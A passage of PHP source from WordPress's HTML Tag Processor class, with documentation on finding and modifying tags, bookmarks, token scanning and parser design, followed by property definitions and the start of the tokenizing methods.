 * |-----------------------------------------------------------|---------------------------------------------------------------------------------|
 * | Find any tag.                                             | `$tags->next_tag();`                                                            |
 * | Find next image tag.                                      | `$tags->next_tag( array( 'tag_name' => 'img' ) );`                              |
 * | Find next image tag (without passing the array).          | `$tags->next_tag( 'img' );`                                                     |
 * | Find next tag containing the `fullwidth` CSS class.       | `$tags->next_tag( array( 'class_name' => 'fullwidth' ) );`                      |
 * | Find next image tag containing the `fullwidth` CSS class. | `$tags->next_tag( array( 'tag_name' => 'img', 'class_name' => 'fullwidth' ) );` |
 *
 * If a tag was found meeting your criteria then `next_tag()`
 * will return `true` and you can proceed to modify it. If it
 * returns `false`, however, it failed to find the tag and
 * moved the cursor to the end of the file.
 *
 * Once the cursor reaches the end of the file the processor
 * is done and if you want to reach an earlier tag you will
 * need to recreate the processor and start over, as it's
 * unable to back up or move in reverse.
 *
 * See the section on bookmarks for an exception to this
 * no-backing-up rule.
 *
 * #### Custom queries
 *
 * Sometimes it's necessary to further inspect an HTML tag than
 * the query syntax here permits. In these cases one may further
 * inspect the search results using the read-only functions
 * provided by the processor or external state or variables.
 *
 * Example:
 *
 *     // Paint up to the first five DIV or SPAN tags marked with the "jazzy" style.
 *     $remaining_count = 5;
 *     while ( $remaining_count > 0 && $tags->next_tag() ) {
 *         if (
 *              ( 'DIV' === $tags->get_tag() || 'SPAN' === $tags->get_tag() ) &&
 *              'jazzy' === $tags->get_attribute( 'data-style' )
 *         ) {
 *             $tags->add_class( 'theme-style-everest-jazz' );
 *             $remaining_count--;
 *         }
 *     }
 *
 * `get_attribute()` will return `null` if the attribute wasn't present
 * on the tag when it was called. It may return `""` (the empty string)
 * in cases where the attribute was present but its value was empty.
 * For boolean attributes, those whose name is present but no value is
 * given, it will return `true` (the only way to set `false` for an
 * attribute is to remove it).
 *
 * #### When matching fails
 *
 * When `next_tag()` returns `false` it could mean different things:
 *
 *  - The requested tag wasn't found in the input document.
 *  - The input document ended in the middle of an HTML syntax element.
 *
 * When a document ends in the middle of a syntax element it will pause
 * the processor. This is to make it possible in the future to extend the
 * input document and proceed - an important requirement for chunked
 * streaming parsing of a document.
 *
 * Example:
 *
 *     $processor = new WP_HTML_Tag_Processor( 'This <div is="a" partial="token' );
 *     false === $processor->next_tag();
 *
 * If a special element (see next section) is encountered but no closing tag
 * is found it will count as an incomplete tag. The parser will pause as if
 * the opening tag were incomplete.
 *
 * Example:
 *
 *     $processor = new WP_HTML_Tag_Processor( '<style>// there could be more styling to come' );
 *     false === $processor->next_tag();
 *
 *     $processor = new WP_HTML_Tag_Processor( '<style>// this is everything</style><div>' );
 *     true === $processor->next_tag( 'DIV' );
 *
 * #### Special self-contained elements
 *
 * Some HTML elements are handled in a special way; their start and end tags
 * act like a void tag. These are special because their contents can't contain
 * HTML markup. Everything inside these elements is handled in a special way
 * and content that _appears_ like HTML tags inside of them isn't. There can
 * be no nesting in these elements.
 *
 * In the following list, "raw text" means that all of the content in the HTML
 * until the matching closing tag is treated verbatim without any replacements
 * and without any parsing.
 *
 *  - IFRAME allows no content but requires a closing tag.
 *  - NOEMBED (deprecated) content is raw text.
 *  - NOFRAMES (deprecated) content is raw text.
 *  - SCRIPT content is plaintext apart from legacy rules allowing `</script>` inside an HTML comment.
 *  - STYLE content is raw text.
 *  - TITLE content is plain text but character references are decoded.
 *  - TEXTAREA content is plain text but character references are decoded.
 *  - XMP (deprecated) content is raw text.
 *
 * ### Modifying HTML attributes for a found tag
 *
 * Once you've found the start of an opening tag you can modify
 * any number of the attributes on that tag. You can set a new
 * value for an attribute, remove the entire attribute, or do
 * nothing and move on to the next opening tag.
 *
 * Example:
 *
 *     if ( $tags->next_tag( array( 'class_name' => 'wp-group-block' ) ) ) {
 *         $tags->set_attribute( 'title', 'This groups the contained content.' );
 *         $tags->remove_attribute( 'data-test-id' );
 *     }
 *
 * If `set_attribute()` is called for an existing attribute it will
 * overwrite the existing value. Similarly, calling `remove_attribute()`
 * for a non-existing attribute has no effect on the document. Both
 * of these methods are safe to call without knowing if a given attribute
 * exists beforehand.
 *
 * ### Modifying CSS classes for a found tag
 *
 * The tag processor treats the `class` attribute as a special case.
 * Because it's a common operation to add or remove CSS classes, this
 * interface adds helper methods to make that easier.
 *
 * As with attribute values, adding or removing CSS classes is a safe
 * operation that doesn't require checking if the attribute or class
 * exists before making changes. If removing the only class then the
 * entire `class` attribute will be removed.
 *
 * Example:
 *
 *     // from `<span>Yippee!</span>`
 *     //   to `<span class="is-active">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<span class="excited">Yippee!</span>`
 *     //   to `<span class="excited is-active">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<span class="is-active heavy-accent">Yippee!</span>`
 *     //   to `<span class="is-active heavy-accent">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<input type="text" class="is-active rugby not-disabled" length="24">`
 *     //   to `<input type="text" class="is-active not-disabled" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 *     // from `<input type="text" class="rugby" length="24">`
 *     //   to `<input type="text" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 *     // from `<input type="text" length="24">`
 *     //   to `<input type="text" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 * When class changes are enqueued but a direct change to `class` is made via
 * `set_attribute` then the changes to `set_attribute` (or `remove_attribute`)
 * will take precedence over those made through `add_class` and `remove_class`.
 *
 * ### Bookmarks
 *
 * While scanning through the input HTMl document it's possible to set
 * a named bookmark when a particular tag is found. Later on, after
 * continuing to scan other tags, it's possible to `seek` to one of
 * the set bookmarks and then proceed again from that point forward.
 *
 * Because bookmarks create processing overhead one should avoid
 * creating too many of them. As a rule, create only bookmarks
 * of known string literal names; avoid creating "mark_{$index}"
 * and so on. It's fine from a performance standpoint to create a
 * bookmark and update it frequently, such as within a loop.
 *
 *     $total_todos = 0;
 *     while ( $p->next_tag( array( 'tag_name' => 'UL', 'class_name' => 'todo' ) ) ) {
 *         $p->set_bookmark( 'list-start' );
 *         while ( $p->next_tag( array( 'tag_closers' => 'visit' ) ) ) {
 *             if ( 'UL' === $p->get_tag() && $p->is_tag_closer() ) {
 *                 $p->set_bookmark( 'list-end' );
 *                 $p->seek( 'list-start' );
 *                 $p->set_attribute( 'data-contained-todos', (string) $total_todos );
 *                 $total_todos = 0;
 *                 $p->seek( 'list-end' );
 *                 break;
 *             }
 *
 *             if ( 'LI' === $p->get_tag() && ! $p->is_tag_closer() ) {
 *                 $total_todos++;
 *             }
 *         }
 *     }
 *
 * ## Tokens and finer-grained processing.
 *
 * It's possible to scan through every lexical token in the
 * HTML document using the `next_token()` function. This
 * alternative form takes no argument and provides no built-in
 * query syntax.
 *
 * Example:
 *
 *      $title = '(untitled)';
 *      $text  = '';
 *      while ( $processor->next_token() ) {
 *          switch ( $processor->get_token_name() ) {
 *              case '#text':
 *                  $text .= $processor->get_modifiable_text();
 *                  break;
 *
 *              case 'BR':
 *                  $text .= "\n";
 *                  break;
 *
 *              case 'TITLE':
 *                  $title = $processor->get_modifiable_text();
 *                  break;
 *          }
 *      }
 *      return trim( "# {$title}\n\n{$text}" );
 *
 * ### Tokens and _modifiable text_.
 *
 * #### Special "atomic" HTML elements.
 *
 * Not all HTML elements are able to contain other elements inside of them.
 * For instance, the contents inside a TITLE element are plaintext (except
 * that character references like &amp; will be decoded). This means that
 * if the string `<img>` appears inside a TITLE element, then it's not an
 * image tag, but rather it's text describing an image tag. Likewise, the
 * contents of a SCRIPT or STYLE element are handled entirely separately in
 * a browser than the contents of other elements because they represent a
 * different language than HTML.
 *
 * For these elements the Tag Processor treats the entire sequence as one,
 * from the opening tag, including its contents, through its closing tag.
 * This means that the it's not possible to match the closing tag for a
 * SCRIPT element unless it's unexpected; the Tag Processor already matched
 * it when it found the opening tag.
 *
 * The inner contents of these elements are that element's _modifiable text_.
 *
 * The special elements are:
 *  - `SCRIPT` whose contents are treated as raw plaintext but supports a legacy
 *    style of including JavaScript inside of HTML comments to avoid accidentally
 *    closing the SCRIPT from inside a JavaScript string. E.g. `console.log( '</script>' )`.
 *  - `TITLE` and `TEXTAREA` whose contents are treated as plaintext and then any
 *    character references are decoded. E.g. `1 &lt; 2 < 3` becomes `1 < 2 < 3`.
 *  - `IFRAME`, `NOSCRIPT`, `NOEMBED`, `NOFRAME`, `STYLE` whose contents are treated as
 *    raw plaintext and left as-is. E.g. `1 &lt; 2 < 3` remains `1 &lt; 2 < 3`.
 *
 * #### Other tokens with modifiable text.
 *
 * There are also non-elements which are void/self-closing in nature and contain
 * modifiable text that is part of that individual syntax token itself.
 *
 *  - `#text` nodes, whose entire token _is_ the modifiable text.
 *  - HTML comments and tokens that become comments due to some syntax error. The
 *    text for these tokens is the portion of the comment inside of the syntax.
 *    E.g. for `<!-- comment -->` the text is `" comment "` (note the spaces are included).
 *  - `CDATA` sections, whose text is the content inside of the section itself. E.g. for
 *    `<![CDATA[some content]]>` the text is `"some content"` (with restrictions [1]).
 *  - "Funky comments," which are a special case of invalid closing tags whose name is
 *    invalid. The text for these nodes is the text that a browser would transform into
 *    an HTML comment when parsing. E.g. for `</%post_author>` the text is `%post_author`.
 *  - `DOCTYPE` declarations like `<DOCTYPE html>` which have no closing tag.
 *  - XML Processing instruction nodes like `<?wp __( "Like" ); ?>` (with restrictions [2]).
 *  - The empty end tag `</>` which is ignored in the browser and DOM.
 *
 * [1]: There are no CDATA sections in HTML. When encountering `<![CDATA[`, everything
 *      until the next `>` becomes a bogus HTML comment, meaning there can be no CDATA
 *      section in an HTML document containing `>`. The Tag Processor will first find
 *      all valid and bogus HTML comments, and then if the comment _would_ have been a
 *      CDATA section _were they to exist_, it will indicate this as the type of comment.
 *
 * [2]: XML allows a broader range of characters in a processing instruction's target name
 *      and disallows "xml" as a name, since it's special. The Tag Processor only recognizes
 *      target names with an ASCII-representable subset of characters. It also exhibits the
 *      same constraint as with CDATA sections, in that `>` cannot exist within the token
 *      since Processing Instructions do no exist within HTML and their syntax transforms
 *      into a bogus comment in the DOM.
 *
 * ## Design and limitations
 *
 * The Tag Processor is designed to linearly scan HTML documents and tokenize
 * HTML tags and their attributes. It's designed to do this as efficiently as
 * possible without compromising parsing integrity. Therefore it will be
 * slower than some methods of modifying HTML, such as those incorporating
 * over-simplified PCRE patterns, but will not introduce the defects and
 * failures that those methods bring in, which lead to broken page renders
 * and often to security vulnerabilities. On the other hand, it will be faster
 * than full-blown HTML parsers such as DOMDocument and use considerably
 * less memory. It requires a negligible memory overhead, enough to consider
 * it a zero-overhead system.
 *
 * The performance characteristics are maintained by avoiding tree construction
 * and semantic cleanups which are specified in HTML5. Because of this, for
 * example, it's not possible for the Tag Processor to associate any given
 * opening tag with its corresponding closing tag, or to return the inner markup
 * inside an element. Systems may be built on top of the Tag Processor to do
 * this, but the Tag Processor is and should be constrained so it can remain an
 * efficient, low-level, and reliable HTML scanner.
 *
 * The Tag Processor's design incorporates a "garbage-in-garbage-out" philosophy.
 * HTML5 specifies that certain invalid content be transformed into different forms
 * for display, such as removing null bytes from an input document and replacing
 * invalid characters with the Unicode replacement character `U+FFFD` (visually "�").
 * Where errors or transformations exist within the HTML5 specification, the Tag Processor
 * leaves those invalid inputs untouched, passing them through to the final browser
 * to handle. While this implies that certain operations will be non-spec-compliant,
 * such as reading the value of an attribute with invalid content, it also preserves a
 * simplicity and efficiency for handling those error cases.
 *
 * Most operations within the Tag Processor are designed to minimize the difference
 * between an input and output document for any given change. For example, the
 * `add_class` and `remove_class` methods preserve whitespace and the class ordering
 * within the `class` attribute; and when encountering tags with duplicated attributes,
 * the Tag Processor will leave those invalid duplicate attributes where they are but
 * update the proper attribute which the browser will read for parsing its value. An
 * exception to this rule is that all attribute updates store their values as
 * double-quoted strings, meaning that attributes on input with single-quoted or
 * unquoted values will appear in the output with double-quotes.
 *
 * ### Scripting Flag
 *
 * The Tag Processor parses HTML with the "scripting flag" disabled. This means
 * that it doesn't run any scripts while parsing the page. In a browser with
 * JavaScript enabled, for example, the script can change the parse of the
 * document as it loads. On the server, however, evaluating JavaScript is not
 * only impractical, but also unwanted.
 *
 * Practically this means that the Tag Processor will descend into NOSCRIPT
 * elements and process its child tags. Were the scripting flag enabled, such
 * as in a typical browser, the contents of NOSCRIPT are skipped entirely.
 *
 * This allows the HTML API to process the content that will be presented in
 * a browser when scripting is disabled, but it offers a different view of a
 * page than most browser sessions will experience. E.g. the tags inside the
 * NOSCRIPT disappear.
 *
 * ### Text Encoding
 *
 * The Tag Processor assumes that the input HTML document is encoded with a
 * text encoding compatible with 7-bit ASCII's '<', '>', '&', ';', '/', '=',
 * "'", '"', 'a' - 'z', 'A' - 'Z', and the whitespace characters ' ', tab,
 * carriage-return, newline, and form-feed.
 *
 * In practice, this includes almost every single-byte encoding as well as
 * UTF-8. Notably, however, it does not include UTF-16. If providing input
 * that's incompatible, then convert the encoding beforehand.
 *
 * @since 6.2.0
 * @since 6.2.1 Fix: Support for various invalid comments; attribute updates are case-insensitive.
 * @since 6.3.2 Fix: Skip HTML-like content inside rawtext elements such as STYLE.
 * @since 6.5.0 Pauses processor when input ends in an incomplete syntax token.
 *              Introduces "special" elements which act like void elements, e.g. TITLE, STYLE.
 *              Allows scanning through all tokens and processing modifiable text, where applicable.
 */
class WP_HTML_Tag_Processor {
	/**
	 * The maximum number of bookmarks allowed to exist at
	 * any given time.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::set_bookmark()
	 */
	const MAX_BOOKMARKS = 10;

	/**
	 * Maximum number of times seek() can be called.
	 * Prevents accidental infinite loops.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::seek()
	 */
	const MAX_SEEK_OPS = 1000;

	/**
	 * The HTML document to parse.
	 *
	 * @since 6.2.0
	 * @var string
	 */
	protected $html;

	/**
	 * The last query passed to next_tag().
	 *
	 * @since 6.2.0
	 * @var array|null
	 */
	private $last_query;

	/**
	 * The tag name this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var string|null
	 */
	private $sought_tag_name;

	/**
	 * The CSS class name this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var string|null
	 */
	private $sought_class_name;

	/**
	 * The match offset this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var int|null
	 */
	private $sought_match_offset;

	/**
	 * Whether to visit tag closers, e.g. </div>, when walking an input document.
	 *
	 * @since 6.2.0
	 * @var bool
	 */
	private $stop_on_tag_closers;

	/**
	 * Specifies mode of operation of the parser at any given time.
	 *
	 * | State           | Meaning                                                              |
	 * | ----------------|----------------------------------------------------------------------|
	 * | *Ready*         | The parser is ready to run.                                          |
	 * | *Complete*      | There is nothing left to parse.                                      |
	 * | *Incomplete*    | The HTML ended in the middle of a token; nothing more can be parsed. |
	 * | *Matched tag*   | Found an HTML tag; it's possible to modify its attributes.           |
	 * | *Text node*     | Found a #text node; this is plaintext and modifiable.                |
	 * | *CDATA node*    | Found a CDATA section; this is modifiable.                           |
	 * | *Comment*       | Found a comment or bogus comment; this is modifiable.                |
	 * | *Presumptuous*  | Found an empty tag closer: `</>`.                                    |
	 * | *Funky comment* | Found a tag closer with an invalid tag name; this is modifiable.     |
	 *
	 * @since 6.5.0
	 *
	 * @see WP_HTML_Tag_Processor::STATE_READY
	 * @see WP_HTML_Tag_Processor::STATE_COMPLETE
	 * @see WP_HTML_Tag_Processor::STATE_INCOMPLETE_INPUT
	 * @see WP_HTML_Tag_Processor::STATE_MATCHED_TAG
	 * @see WP_HTML_Tag_Processor::STATE_TEXT_NODE
	 * @see WP_HTML_Tag_Processor::STATE_CDATA_NODE
	 * @see WP_HTML_Tag_Processor::STATE_COMMENT
	 * @see WP_HTML_Tag_Processor::STATE_DOCTYPE
	 * @see WP_HTML_Tag_Processor::STATE_PRESUMPTUOUS_TAG
	 * @see WP_HTML_Tag_Processor::STATE_FUNKY_COMMENT
	 *
	 * @var string
	 */
	protected $parser_state = self::STATE_READY;

	/**
	 * Indicates if the document is in quirks mode or no-quirks mode.
	 *
	 *  Impact on HTML parsing:
	 *
	 *   - In `NO_QUIRKS_MODE` (also known as "standard mode"):
	 *       - CSS class and ID selectors match byte-for-byte (case-sensitively).
	 *       - A TABLE start tag `<table>` implicitly closes any open `P` element.
	 *
	 *   - In `QUIRKS_MODE`:
	 *       - CSS class and ID selectors match match in an ASCII case-insensitive manner.
	 *       - A TABLE start tag `<table>` opens a `TABLE` element as a child of a `P`
	 *         element if one is open.
	 *
	 * Quirks and no-quirks mode are thus mostly about styling, but have an impact when
	 * tables are found inside paragraph elements.
	 *
	 * @see self::QUIRKS_MODE
	 * @see self::NO_QUIRKS_MODE
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	protected $compat_mode = self::NO_QUIRKS_MODE;

	/**
	 * Indicates whether the parser is inside foreign content,
	 * e.g. inside an SVG or MathML element.
	 *
	 * One of 'html', 'svg', or 'math'.
	 *
	 * Several parsing rules change based on whether the parser
	 * is inside foreign content, including whether CDATA sections
	 * are allowed and whether a self-closing flag indicates that
	 * an element has no content.
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	private $parsing_namespace = 'html';

	/**
	 * What kind of syntax token became an HTML comment.
	 *
	 * Since there are many ways in which HTML syntax can create an HTML comment,
	 * this indicates which of those caused it. This allows the Tag Processor to
	 * represent more from the original input document than would appear in the DOM.
	 *
	 * @since 6.5.0
	 *
	 * @var string|null
	 */
	protected $comment_type = null;

	/**
	 * What kind of text the matched text node represents, if it was subdivided.
	 *
	 * @see self::TEXT_IS_NULL_SEQUENCE
	 * @see self::TEXT_IS_WHITESPACE
	 * @see self::TEXT_IS_GENERIC
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	protected $text_node_classification = self::TEXT_IS_GENERIC;

	/**
	 * How many bytes from the original HTML document have been read and parsed.
	 *
	 * This value points to the latest byte offset in the input document which
	 * has been already parsed. It is the internal cursor for the Tag Processor
	 * and updates while scanning through the HTML tokens.
	 *
	 * @since 6.2.0
	 * @var int
	 */
	private $bytes_already_parsed = 0;

	/**
	 * Byte offset in input document where current token starts.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *     - token starts at 0
	 *
	 * @since 6.5.0
	 *
	 * @var int|null
	 */
	private $token_starts_at;

	/**
	 * Byte length of current token.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     012345678901234
	 *     - token length is 14 - 0 = 14
	 *
	 *     a <!-- comment --> is a token.
	 *     0123456789 123456789 123456789
	 *     - token length is 17 - 2 = 15
	 *
	 * @since 6.5.0
	 *
	 * @var int|null
	 */
	private $token_length;

	/**
	 * Byte offset in input document where current tag name starts.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *      - tag name starts at 1
	 *
	 * @since 6.2.0
	 *
	 * @var int|null
	 */
	private $tag_name_starts_at;

	/**
	 * Byte length of current tag name.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *      --- tag name length is 3
	 *
	 * @since 6.2.0
	 *
	 * @var int|null
	 */
	private $tag_name_length;

	/**
	 * Byte offset into input document where current modifiable text starts.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	private $text_starts_at;

	/**
	 * Byte length of modifiable text.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	private $text_length;

	/**
	 * Whether the current tag is an opening tag, e.g. <div>, or a closing tag, e.g. </div>.
	 *
	 * @var bool
	 */
	private $is_closing_tag;

	/**
	 * Lazily-built index of attributes found within an HTML tag, keyed by the attribute name.
	 *
	 * Example:
	 *
	 *     // Supposing the parser is working through this content
	 *     // and stops after recognizing the `id` attribute.
	 *     // <div id="test-4" class=outline title="data:text/plain;base64=asdk3nk1j3fo8">
	 *     //                 ^ parsing will continue from this point.
	 *     $this->attributes = array(
	 *         'id' => new WP_HTML_Attribute_Token( 'id', 9, 6, 5, 11, false )
	 *     );
	 *
	 *     // When picking up parsing again, or when asking to find the
	 *     // `class` attribute we will continue and add to this array.
	 *     $this->attributes = array(
	 *         'id'    => new WP_HTML_Attribute_Token( 'id', 9, 6, 5, 11, false ),
	 *         'class' => new WP_HTML_Attribute_Token( 'class', 23, 7, 17, 13, false )
	 *     );
	 *
	 *     // Note that only the `class` attribute value is stored in the index.
	 *     // That's because it is the only value used by this class at the moment.
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Attribute_Token[]
	 */
	private $attributes = array();

	/**
	 * Tracks spans of duplicate attributes on a given tag, used for removing
	 * all copies of an attribute when calling `remove_attribute()`.
	 *
	 * @since 6.3.2
	 *
	 * @var (WP_HTML_Span[])[]|null
	 */
	private $duplicate_attributes = null;

	/**
	 * Which class names to add or remove from a tag.
	 *
	 * These are tracked separately from attribute updates because they are
	 * semantically distinct, whereas this interface exists for the common
	 * case of adding and removing class names while other attributes are
	 * generally modified as with DOM `setAttribute` calls.
	 *
	 * When modifying an HTML document these will eventually be collapsed
	 * into a single `set_attribute( 'class', $changes )` call.
	 *
	 * Example:
	 *
	 *     // Add the `wp-block-group` class, remove the `wp-group` class.
	 *     $classname_updates = array(
	 *         // Indexed by a comparable class name.
	 *         'wp-block-group' => WP_HTML_Tag_Processor::ADD_CLASS,
	 *         'wp-group'       => WP_HTML_Tag_Processor::REMOVE_CLASS
	 *     );
	 *
	 * @since 6.2.0
	 * @var bool[]
	 */
	private $classname_updates = array();

	/**
	 * Tracks a semantic location in the original HTML which
	 * shifts with updates as they are applied to the document.
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Span[]
	 */
	protected $bookmarks = array();

	const ADD_CLASS    = true;
	const REMOVE_CLASS = false;
	const SKIP_CLASS   = null;

	/**
	 * Lexical replacements to apply to input HTML document.
	 *
	 * "Lexical" in this class refers to the part of this class which
	 * operates on pure text _as text_ and not as HTML. There's a line
	 * between the public interface, with HTML-semantic methods like
	 * `set_attribute` and `add_class`, and an internal state that tracks
	 * text offsets in the input document.
	 *
	 * When higher-level HTML methods are called, those have to transform their
	 * operations (such as setting an attribute's value) into text diffing
	 * operations (such as replacing the sub-string from indices A to B with
	 * some given new string). These text-diffing operations are the lexical
	 * updates.
	 *
	 * As new higher-level methods are added they need to collapse their
	 * operations into these lower-level lexical updates since that's the
	 * Tag Processor's internal language of change. Any code which creates
	 * these lexical updates must ensure that they do not cross HTML syntax
	 * boundaries, however, so these should never be exposed outside of this
	 * class or any classes which intentionally expand its functionality.
	 *
	 * These are enqueued while editing the document instead of being immediately
	 * applied to avoid processing overhead, string allocations, and string
	 * copies when applying many updates to a single document.
	 *
	 * Example:
	 *
	 *     // Replace an attribute stored with a new value, indices
	 *     // sourced from the lazily-parsed HTML recognizer.
	 *     $start  = $attributes['src']->start;
	 *     $length = $attributes['src']->length;
	 *     $modifications[] = new WP_HTML_Text_Replacement( $start, $length, $new_value );
	 *
	 *     // Correspondingly, something like this will appear in this array.
	 *     $lexical_updates = array(
	 *         WP_HTML_Text_Replacement( 14, 28, 'https://my-site.my-domain/wp-content/uploads/2014/08/kittens.jpg' )
	 *     );
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Text_Replacement[]
	 */
	protected $lexical_updates = array();

	/**
	 * Tracks and limits `seek()` calls to prevent accidental infinite loops.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::seek()
	 */
	protected $seek_count = 0;

	/**
	 * Whether the parser should skip over an immediately-following linefeed
	 * character, as is the case with LISTING, PRE, and TEXTAREA.
	 *
	 * > If the next token is a U+000A LINE FEED (LF) character token, then
	 * > ignore that token and move on to the next one. (Newlines at the start
	 * > of [these] elements are ignored as an authoring convenience.)
	 *
	 * @since 6.7.0
	 *
	 * @var int|null
	 */
	private $skip_newline_at = null;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 *
	 * @param string $html HTML to process.
	 */
	public function __construct( $html ) {
		if ( ! is_string( $html ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The HTML parameter must be a string.' ),
				'6.9.0'
			);
			$html = '';
		}
		$this->html = $html;
	}

	/**
	 * Switches parsing mode into a new namespace, such as when
	 * encountering an SVG tag and entering foreign content.
	 *
	 * @since 6.7.0
	 *
	 * @param string $new_namespace One of 'html', 'svg', or 'math' indicating into what
	 *                              namespace the next tokens will be processed.
	 * @return bool Whether the namespace was valid and changed.
	 */
	public function change_parsing_namespace( string $new_namespace ): bool {
		if ( ! in_array( $new_namespace, array( 'html', 'math', 'svg' ), true ) ) {
			return false;
		}

		$this->parsing_namespace = $new_namespace;
		return true;
	}

	/**
	 * Finds the next tag matching the $query.
	 *
	 * @since 6.2.0
	 * @since 6.5.0 No longer processes incomplete tokens at end of document; pauses the processor at start of token.
	 *
	 * @param array|string|null $query {
	 *     Optional. Which tag name to find, having which class, etc. Default is to find any tag.
	 *
	 *     @type string|null $tag_name     Which tag to find, or `null` for "any tag."
	 *     @type int|null    $match_offset Find the Nth tag matching all search criteria.
	 *                                     1 for "first" tag, 3 for "third," etc.
	 *                                     Defaults to first tag.
	 *     @type string|null $class_name   Tag must contain this whole class name to match.
	 *     @type string|null $tag_closers  "visit" or "skip": whether to stop on tag closers, e.g. </div>.
	 * }
	 * @return bool Whether a tag was matched.
	 */
	public function next_tag( $query = null ): bool {
		$this->parse_query( $query );
		$already_found = 0;

		do {
			if ( false === $this->next_token() ) {
				return false;
			}

			if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
				continue;
			}

			if ( $this->matches() ) {
				++$already_found;
			}
		} while ( $already_found < $this->sought_match_offset );

		return true;
	}

	/**
	 * Finds the next token in the HTML document.
	 *
	 * An HTML document can be viewed as a stream of tokens,
	 * where tokens are things like HTML tags, HTML comments,
	 * text nodes, etc. This method finds the next token in
	 * the HTML document and returns whether it found one.
	 *
	 * If it starts parsing a token and reaches the end of the
	 * document then it will seek to the start of the last
	 * token and pause, returning `false` to indicate that it
	 * failed to find a complete token.
	 *
	 * Possible token types, based on the HTML specification:
	 *
	 *  - an HTML tag, whether opening, closing, or void.
	 *  - a text node - the plaintext inside tags.
	 *  - an HTML comment.
	 *  - a DOCTYPE declaration.
	 *  - a processing instruction, e.g. `<?xml version="1.0" ?>`.
	 *
	 * The Tag Processor currently only supports the tag token.
	 *
	 * @since 6.5.0
	 * @since 6.7.0 Recognizes CDATA sections within foreign content.
	 *
	 * @return bool Whether a token was parsed.
	 */
	public function next_token(): bool {
		return $this->base_class_next_token();
	}

	/**
	 * Internal method which finds the next token in the HTML document.
	 *
	 * This method is a protected internal function which implements the logic for
	 * finding the next token in a document. It exists so that the parser can update
	 * its state without affecting the location of the cursor in the document and
	 * without triggering subclass methods for things like `next_token()`, e.g. when
	 * applying patches before searching for the next token.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 *
	 * @return bool Whether a token was parsed.
	 */
	private function base_class_next_token(): bool {
		$was_at = $this->bytes_already_parsed;
		$this->after_tag();

		// Don't proceed if there's nothing more to scan.
		if (
			self::STATE_COMPLETE === $this->parser_state ||
			self::STATE_INCOMPLETE_INPUT === $this->parser_state
		) {
			return false;
		}

		/*
		 * The next step in the parsing loop determines the parsing state;
		 * clear it so that state doesn't linger from the previous step.
		 */
		$this->parser_state = self::STATE_READY;

		if ( $this->bytes_already_parsed >= strlen( $this->html ) ) {
			$this->parser_state = self::STATE_COMPLETE;
			return false;
		}

		// Find the next tag if it exists.
		if ( false === $this->parse_next_tag() ) {
			if ( self::STATE_INCOMPLETE_INPUT === $this->parser_state ) {
				$this->bytes_already_parsed = $was_at;
			}

			return false;
		}

		/*
		 * For legacy reasons the rest of this function handles tags and their
		 * attributes. If the processor has reached the end of the document
		 * or if it matched any other token then it should return here to avoid
		 * attempting to process tag-specific syntax.
		 */
		if (
			self::STATE_INCOMPLETE_INPUT !== $this->parser_state &&
			self::STATE_COMPLETE !== $this->parser_state &&
			self::STATE_MATCHED_TAG !== $this->parser_state
		) {
			return true;
		}

		// Parse all of its attributes.
		while ( $this->parse_next_attribute() ) {
			continue;
		}

		// Ensure that the tag closes before the end of the document.
		if (
			self::STATE_INCOMPLETE_INPUT === $this->parser_state ||
			$this->bytes_already_parsed >= strlen( $this->html )
		) {
			// Does this appropriately clear state (parsed attributes)?
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;

			return false;
		}

		$tag_ends_at = strpos( $this->html, '>', $this->bytes_already_parsed );
		if ( false === $tag_ends_at ) {
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;

			return false;
		}
		$this->parser_state         = self::STATE_MATCHED_TAG;
		$this->bytes_already_parsed = $tag_ends_at + 1;
		$this->token_length         = $this->bytes_already_parsed - $this->token_starts_at;

		/*
		 * Certain tags require additional processing. The first-letter pre-check
		 * avoids unnecessary string allocation when comparing the tag names.
		 *
		 *  - IFRAME
		 *  - LISTING (deprecated)
		 *  - NOEMBED (deprecated)
		 *  - NOFRAMES (deprecated)
		 *  - PRE
		 *  - SCRIPT
		 *  - STYLE
		 *  - TEXTAREA
		 *  - TITLE
		 *  - XMP (deprecated)
		 */
		if (
			$this->is_closing_tag ||
			'html' !== $this->parsing_namespace ||
			1 !== strspn( $this->html, 'iIlLnNpPsStTxX', $this->tag_name_starts_at, 1 )
		) {
			return true;
		}

		$tag_name = $this->get_tag();

		/*
		 * For LISTING, PRE, and TEXTAREA, the first linefeed of an immediately-following
		 * text node is ignored as an authoring convenience.
		 *
		 * @see static::skip_newline_at
		 */
		if ( 'LISTING' === $tag_name || 'PRE' === $tag_name ) {
			$this->skip_newline_at = $this->bytes_already_parsed;
			return true;
		}

		/*
